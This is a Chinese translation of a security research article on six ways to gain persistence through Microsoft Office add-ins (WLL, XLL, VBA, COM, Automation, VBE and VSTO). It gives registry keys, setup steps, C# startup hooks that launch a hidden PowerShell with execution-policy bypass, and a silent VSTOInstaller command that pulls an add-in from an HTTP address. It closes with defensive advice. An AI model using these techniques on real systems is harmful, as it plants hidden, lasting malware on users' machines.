利用Office載入項進行持久化控制的6種姿勢
現在,幾乎所有用戶都會使用Microsoft Office,它的普及率這麼高,以至於攻擊者經常會用它來實施大規模攻擊。
本文就將為大家介紹通過Microsoft Office獲得持久性攻擊的各種機會,由於受到Kostas Lintovois寫的「Windows Services – All roads lead to SYSTEM」的啟發,本文的研究者通過向Office模板文件添加VBA後門,以此來探究常駐虛擬桌面基礎架構(VDI)環境的方法。
譯者註:Kostas Lintovois寫的「Windows Services – All roads lead to SYSTEM」,他描述了多個利用配置錯誤來提升許可權的方法。這些技術對攻擊者是很有用的,因為在很多情況下,正常用戶是沒有管理員許可權的,管理員許可權是所有攻擊者共同的目標。
下面我們就開始對比研究各種基於Office持久性攻擊方法的優點和缺點:
1. Word的WLL和XLL載入項
2. 用於Excel和PowerPoint的VBA載入項
3. 所有Office產品的COM載入項
4. Excel自動化載入項
5. 使用Office產品的所有VBA的VBA編輯器(VBE)載入項
6. 所有Office產品的VSTO載入項
以上列舉的6種持久性攻擊技術,都分別在Windows 7、Windows 8.1和Windows 10上運行的Office 2013進行過測試。
Word和Excel的WLL和XLL載入項
Kostas等人寫的關於使用Office模板的持久性攻擊的關鍵就是要實現「受信任的位置」,這樣包含VBA代碼的文件就不受宏設置所規定的標準限制了,即使宏被禁用,代碼也將無執行警告。然而,通過研究者的進一步的研究發現,一般用戶可在某些受信任的位置寫入特權也可用於託管基於DLL的載入項。
Word的WLL載入項
Word的三個默認位置如下所示,可以看出,受信任的位置可以對「模板」和「啟動」功能進行拆分:
對這個「啟動」的信任位置進一步調查發現,它可以託管「* .wll」擴展名的「Word載入項」。這是一個可追溯到Word 97的早期擴展功能,至今還在被使用,但幾乎沒有關於該功能創建的任何指導性說明。經過研究,Word的WLL載入項被確定為一個「* .wll」文件,其本質上是一個附加的對Office進行特定擴展的DLL。這意味著WLL載入項支持基本的DLL功能,因此我可以將「* .dll」重命名為「* .wll」,並將其置於默認為用戶主目錄中的 「啟動」受信任位置,從而獲取Word啟動時的任意代碼執行,這些代碼全部來自低特權用戶。
下面可以看到一個例子,其中WLL載入項啟動了「calc.exe」,可以看作是作為Word進程「WINWORD.EXE」的子進程運行:
對於通過Metasploit的「msfvenom」生成的DLL進行測試後會發現,當Word在啟動後崩潰時,有效載荷將被執行。我發現構建一個bones C++ DLL,可以直接在DllMain中執行代碼解決這個問題,並允許Word繼續執行。
Word里WLL載入項的一個有趣的行為是,儘管會自動載入,並且其包含的代碼也被執行,但Word仍將它們列為「非活動」載入項。此外,由於此原因,禁用Word信任中心內的載入項並不會禁用WLL載入項:
Excel的XLL載入項
Excel具有使用稱為XLL載入項的DLL的擴展功能並具有「* .xll」擴展名,與Word打開時自動載入的WLL載入項不同,Excel需要配置為通過將屬性添加到現有註冊表項來使用XLL載入項:
HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0ExcelOptionsn
應在這個位置添加一個「OPEN」屬性,其中包含「/ R FileNameOfAddIn.xll」的值:
不需要指定完整的路徑,因為Excel會默認查找載入項文件的「%appdata% Microsoft AddIns」。有趣的是,就像WLL載入項一樣,在受信任位置中未指定此位置,這可能是因為受信任的位置主要是提供關於VBA執行的安全控制。
Excel使用XLL載入項的方式也不同於Word使用WLL載入項的方式,對於每個配置的XLL載入項,Excel將在DLL中查找導出的函數,並根據需要調用它們,例如,當進程首次載入時,Excel將尋找並調用名稱為「xlAutoOpen」的函數,這個函數的功能主要是模仿VBA「Auto_Open()」的行為。
與WLL載入項不同,XLL載入項在Excel的載入項管理器中被列為「活動」,並且可以通過禁用信任中心內的載入項來阻止載入。
優點
1.沒有寫入用戶 「啟動」位置或配置註冊表項的管理許可權,
2.為Word自動載入,Excel只需要最少的註冊表編輯,
3.通過啟用「禁用所有應用程序載入項」,不會阻止WLL載入項的載入,但這不適用於XLL載入項,
4.WLL載入項在Word的GUI中被列為「非活動」,用於監控載入項,但實際上卻是「活動」的狀態,但這不適用於XLL載入項。
5.它們可能用於虛擬桌面基礎設施(VDI)環境中的持久性攻擊中。
缺點
1.將DLL從「%appdata%」中刪除。
2.XLL載入項需要註冊表編輯
用於Excel和PowerPoint的VBA載入項
與Word類似,Excel和PowerPoint都具有了一定的「啟動」信任位置,實際上,它們每個都有兩個位置是用戶指定的,其中一個是系統範圍內的。用戶指定的可信任位置(因為低許可權用戶具有寫入許可權)被稱為Excel和PowerPoint的「XLSTART」和「AddIn」。
這些受信任的位置不是用於存儲基於DLL的載入項,而是基於VBA的非加密的擴展,專門用於載入項。
這個特殊的持久性方法與Kostas關於模板持久性的原理非常相似,不過這兩種方法之間的關位置區別在於,當VBA包含在模板中時,它只能在從該模板派生的文檔中執行。無論何時在Excel和PowerPoint中打開什麼文檔,無論其原始模板如何,VBA載入項都將針對其特定的事件處理程序執行,但此功能僅限於這兩個Office應用程序。
下面描述實現每個持久性攻擊的方法:
Excel
創建一個新的Excel電子表格,打開VBA編輯器,並插入一個包含持久性機制的「模塊」:
此時應該轉到保存電子表格,而不是選擇標準的Excel格式,請根據兼容性模式從使用「* .xlam」或「* .xla」的類型中選擇「Excel載入項」,此時應該保存到通常為「%appdata% Microsoft Excel XLSTART」中的相應信任的位置:
當Excel下次打開時,無論是新的電子表格還是先前保存的載入項,都將執行載入項。
PowerPoint
PowerPoint VBA載入項可以與Excel相同的方式創建,但在這種情況下,文件格式變為了「* .ppam」或「* .ppa」。然後,載入項應存儲在相應的可信位置中,如前所述,在PowerPoint中,這被稱為「AddIns」。它通常位於「%appdata% Microsoft AddIns」的常用位置中,該位置也用於XLL載入項。
與Excel不同,PowerPoint載入項不會自動載入,但可以通過修改註冊表進行配置。幸運的是,這種修改只需要在HKEY_CURRENT_USER(HKCU)配置單元中進行。這涉及到在以下位置創建一個位置:
HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0PowerPointAddIns<AddInName>n
請注意,上圖中的Office號碼也可能需要更改,15.0在這裡指的是Office 2013。此位置應具有下圖中所列舉的屬性。 「自動載入」設置為「1」,表示在PowerPoint啟動時應自動載入載入項,此外不需要提供載入項的完整路徑,因為PowerPoint了解載入載入項所需的位置。
優點
1.無需管理許可權,
2.自動載入Excel,
3.具有受信任的位置,所以執行VBA沒有問題,
4.儘管文件類型是「載入項」,但是「禁用所有應用程序載入項」選項並不能阻止VBA代碼的執行,
5.可以使用密碼保護載入項以供查看和編輯,但此功能仍將執行,
6.可以隱蔽地用於VDI環境中的持久性攻擊。
缺點
1.編寫VBA代碼是一個非常令人痛苦的過程,
2.在PowerPoint VBA中載入項必須在寫入註冊表的情況下進行,
3.將額外的文件從Excel和PowerPoint的磁碟刪除。
Office COM載入項
為Office創建載入項的另一種完全不同的方法就是利用「COM載入項」,鑒於COM載入項的工作方式,我可以創建單個載入項,並將其集成到所有Office應用程序(包括Outlook)中,例如,當Office程序打開時運行代碼。
COM對象(與傳統DLL不同,其被存儲為「* .dll」文件)必須在使用前在註冊表中註冊。由於主要涉及通知Windows關於COM對象,即在HKEY_CLASSES_ROOT配置單元中進行設置,此註冊過程會在使用「ComRegisterFunctionAttribute」屬性指定的函數中定義。
接著就必須將Office應用程序進一步配置為使用此COM對象,該對象涉及創建具有三個屬性的單個註冊表項,所以必須在每個應用程序中創建此位置。如下圖所示,Office程序載入COM載入項所需的註冊表項存儲在:
HKEY_CURRENT_USERSoftwareMicrosoftOffice<Program>Addins<AddInName>n
在下圖中,「LoadBehaviour」的「3」會指定Office應用程序(此處為Outlook)應在啟動時載入COM載入項,COM載入項會通過「FriendlyName」引用:
Office應用程序的該功能也可以在處理COM註冊時,執行相同的功能。這樣做的一個主要優點就是允許操作的持久化運行,從而在設置時減少需要運行的命令數量, 在這種情況下,可以使用「regasm.exe」。
在Office應用程序載入COM對象之後獲取代碼執行,代碼中的一個很受信任的位置便是Office特定的「IDTExtensibility2」介面的「OnConnection」功能。此介面會處理載入相關事件,例如載入載入項時(如「OnConnection」)同時進行卸載。下圖就顯示了一個隱藏的cmd窗口是如何產生calc的:
public void OnConnection(object application, Extensibility.ext_ConnectMode connectMode, object addInInst, ref System.Array custom)n{n /* snip */n System.Diagnostics.Process process = new System.Diagnostics.Process();n System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();n startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;n startInfo.FileName = "powershell.exe";n startInfo.Arguments = "-ep bypass -C calc";n process.StartInfo = startInfo;n process.Start();n}n
一旦創建了COM載入項,就可以使用調用註冊功能的regasm.exe來設置它。不過此操作需要管理許可權,因為它要寫入HKEY_CLASSES_ROOT:
由上圖可以看出,當Outlook打開時,載入項將被載入,並以calc顯示:
優點
1.輕鬆創建單個載入項,可在多個Office產品中工作,無需調整,
2.有一個命令設置,如regasm。
缺點
1.將COM「* .dll」文件從磁碟中刪除,註冊表編輯需要註冊並自動載入,
2.需要COM註冊的管理許可權,
3.不太可能對VDI環境中的持久性設置有用。
Excel自動化載入項
作為Excel自動化載入項可擴展性的一部分,Excel允許用戶創建自定義的函數。如果這樣的功能被執行,例如,作為單元格公式的一部分(其中「= SUM()」是內置函數的示例),那這些用戶定義的功能就會存儲在所謂的「自動載入項」中。這些自定義的功能是以與COM載入項相似的方式創建,但具體用法不同。
COM有一個註冊函數,該註冊函數還可以包括設置註冊表的代碼,以通知Excel在運行時應該載入該載入項。如下圖所示,此位置需要位於:
HKEY_CURRENT_USERSOFTWAREMicrosoftOffice15.0ExcelOptionsn
每個自動化載入項都會被列為單個「OPENx」屬性的值,其中x是一次增加多個載入項的遞增號。
在獲得自動化載入項以實際執行持久化攻擊時,大家可以將用戶自定義的函數簡單地定義為在上述註冊表屬性中特定命名的空間(這裡為「InconspicuousAddIn」)和被引用的類(這裡為「ExtFunctions」)的標準函數。該函數可以執行任何正常功能,包括執行任意命令。下圖就顯示了一個用戶自定義的函數,它在打開calc後毀對所選範圍內的單元格數進行計數:public double CountCellsRange(object range)n{n System.Diagnostics.Process process = new System.Diagnostics.Process();n System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();n startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;n startInfo.FileName = "powershell.exe";n startInfo.Arguments = "-ep bypass -C calc";n process.StartInfo = startInfo;n process.Start();nn Excel.Range count = range as Excel.Range;n return count.Cells.Count;n}n
由於要設置一個持久性的攻擊機制,而且Excel Automation載入項都是基於COM的,因此可以使用與COM載入項相同的語法再次使用regasm。如下圖所示,經過驗證,自動化載入項就可以啟用了:
在用戶將自定義的功能集成到Excel中,攻擊者仍然需要找到執行此命令的方法。不過,攻擊者可以通過覆蓋內置函數來實現這一命令。此外,用戶自定義的函數僅在被調用時才執行,如果先前已被執行了並且執行結果存儲在文檔中,則該函數是不會再執行的。
因此,用戶自定義的函數需要被強制調用,這可以使用VBA來完成。雖然這不是最理想的方法,但是可以使安全預防產品更難以檢測到。通過將VBA持久化了的完整功能放在模板或載入項中,就不太可能被檢測到,因為該功能很容易被解釋為標準的Excel函數。當工作簿打開時,選擇一個單元格(除了1:1 – A1之外),它的內容可以被用戶自定義的函數調用的文本字元串所替換:
優點
1.具有一個命令設置,如regasm。
缺點
1.需要COM註冊的管理許可權,
2.仍然需要一種調用用戶定義函數的方法,
3.不太可能對VDI環境中的持久性設置有用。
VBE載入項
可以創建一個不會利用VBA本身但可以創建它的持久性攻擊開發環境,如VBA編輯器(VBE)。雖然目前關於創建VBE載入項的說明很少,但經過研究,基於使用Office的「IDTExtensibility2」介面就是本文經常提到的COM對象。通過這個COM對象,可以執行任意代碼,例如啟動VBA編輯器。隨著COM再次被使用,我可以使用regasm進行持久性設置。此設置包括了創建註冊表項,以通知VBA編輯器它應該自動載入載入項,它存儲在下圖所示的位置:
HKEY_CURRENT_USERSoftwareMicrosoftVBAVBE6.0Addins<VBEAddIn.Name>n
該位置還包含許多屬性,其中包括一個「FriendlyName」來引用已註冊的COM對象,並將「LoadBehaviour」設置為「3」,以通知VBA編輯器在編輯器啟動時啟動載入項:
配置的載入項可以在VBA編輯器的「載入項管理器」中看到:
優點
1.輕鬆創建單個載入項,可在多個Office產品中工作,無需調整,
2.有一個命令設置,如regasm。
缺點
1.需要用戶打開VBA編輯器,
2.需要COM註冊的管理許可權,
3.不太可能對VDI環境中的持久性設置有用。
VSTO載入項
Office Studio(VSTO)的Visual Studio工具也將被用於持久性攻擊中,雖然 VSTO是Office經過更新後的COM載入項的替代品。但是,與COM載入項不同,VSTO需要安裝特殊的運行命令,因為默認情況下VSTO不會被自動安裝。
存儲持久性命令的合適位置是默認的「ThisAddIn-Startup」功能,該功能被配置為處理啟動事件,例如,當應用程序啟動時載入模塊,如下圖所示:
private void ThisAddIn_Startup(object sender, System.EventArgs e)n{n System.Diagnostics.Process process = new System.Diagnostics.Process();n System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();n startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;n startInfo.FileName = "powershell.exe";n startInfo.Arguments = "-ep bypass -C calc";n process.StartInfo = startInfo;n process.Start();n}n
VSTO載入項的問題就出現在設置這些模塊時,部分原因是需要特殊的運行命令。如果VSTO沒有被成功安裝,則無需在用戶交互下進行安裝,如可以使用「vstor_redist.exe」,接著使用作為運行時的一部分二進位文件(「VSTOInstaller.exe」)來安裝VSTO載入項(「* .vsto」)。
但是,這會導致彈出窗口,並要求用戶確認安裝。不過可以通過添加「/ s」來解決這個彈出問題,但操作時需要由受信任的發布者簽名,否則安裝會失敗:
有趣的是,「VSTOInstaller.exe」是Microsoft簽名的二進位文件,載入項的位置可以指定為URL(例如「VSTOInstaller.exe / s / i http://192.168.7.129/OutlookAddIn1.vsto」)。如果剛開始使用簽名的VSTO載入項,那這個潛在的應用程序就會被列入安全預防產品白名單。不過,Window的信任模式會限制這一行為。雖然用戶可能對存儲區內的許多證書頒發機構信任, Window系統並不這樣認定,所以必須明確啟用認證機構。
優點
1.運行時安裝程序(「VSTOInstaller.exe」)是一個MS簽名的二進位文件,儘管它需要來自受信任的發布者,但可以在隱藏狀態下通過HTTP下載載入項。
缺點
1.需要非標準的VSTO運行命令,
2.無法由受信任的發行商簽名,儘管用戶可能會手動安裝它,但必須把它列為受信任程序的載入項,
3.不太可能對VDI環境中的持久性設置有用,
如何防範惡意載入項
通過在每個Office應用程序的信任中心或通過適當的註冊表項中禁用載入項,可以輕鬆防止惡意XLL,COM,Automation和VSTO載入項。
或者,如果需要載入項,則建議它們由受信任的發布者簽名,並禁用該用戶通知。當使用不受信任的載入項時,所顯示的用戶通知並不是針對潛在安全風險的警告,並且用戶還可以啟用危險內容,特別是如果他們打開以前被信任的文檔,例如,他們過去創建的文檔。下圖就是用戶通知的一個樣本:
雖然WLL和VBA載入項可以自定義為載入項,但它們是不受上述信任中心設置影響的。這在WLL載入項的情況下特別令人驚訝,因為它是一個基於DLL的載入項。
所以,減少惡意WLL和VBA載入項的風險的最有效方法就是刪除每個「啟動」信任的位置,如果需要,可以考慮將所需的載入項放在系統範圍的可信位置中,並刪除以前用戶配置文件中存在的受信任位置。這樣,攻擊者就會被迫升級其許可權,以便將系統範圍的位置用作持久設置。此外,用戶還可以為受信任位置建立適當的訪問控制列表,以防止攻擊者添加或編輯現有文件。
最後對於志在提前檢測惡意載入項的安全產品開發商來說,可以通過對三個核心方面的檢查和驗證來提前進行安全預防:
1. 受信任位置的文件系統內容,
2. 審核註冊表項是否啟用載入項,
3. 監控非標準進程間的關係,例如,檢查由Office應用程序產生的進程。
本文翻譯自Add-In Opportunities for Office Persistence,如若轉載,請註明原文地址:利用Office載入項進行持久化控制的6種姿勢 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※俄羅斯黑客接連被美國當局判刑27年和14年監禁,緣由何因?
※記一次720度托馬斯迴旋過狗!
※微軟office漏洞再次被惡意利用,傳播惡意軟體
※如何獲取第一手的安全資訊?
TAG:信息安全 |